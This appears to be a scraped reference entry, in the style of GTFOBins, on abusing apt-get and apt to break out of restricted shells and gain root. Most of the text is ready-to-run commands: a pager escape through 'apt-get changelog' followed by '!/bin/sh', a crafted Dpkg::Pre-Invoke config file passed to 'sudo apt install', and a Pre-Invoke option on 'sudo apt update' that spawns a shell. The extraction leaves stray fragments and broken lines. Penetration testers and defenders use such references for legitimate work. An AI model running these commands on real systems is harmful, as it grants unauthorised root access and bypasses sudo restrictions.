It can be used to break out from restricted environments by spawning an interactive system shell.
This invokes the default pager, which is likely to be less
, other functions may apply.
apt-get changelog apt
!/bin/sh
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
This invokes the default pager, which is likely to be less
, other functions may apply.
sudo apt-get changelog apt
!/bin/sh
For this to work the target package (e.g., sl
) must not be installed.
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
When the shell exits the update
command is actually executed.
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh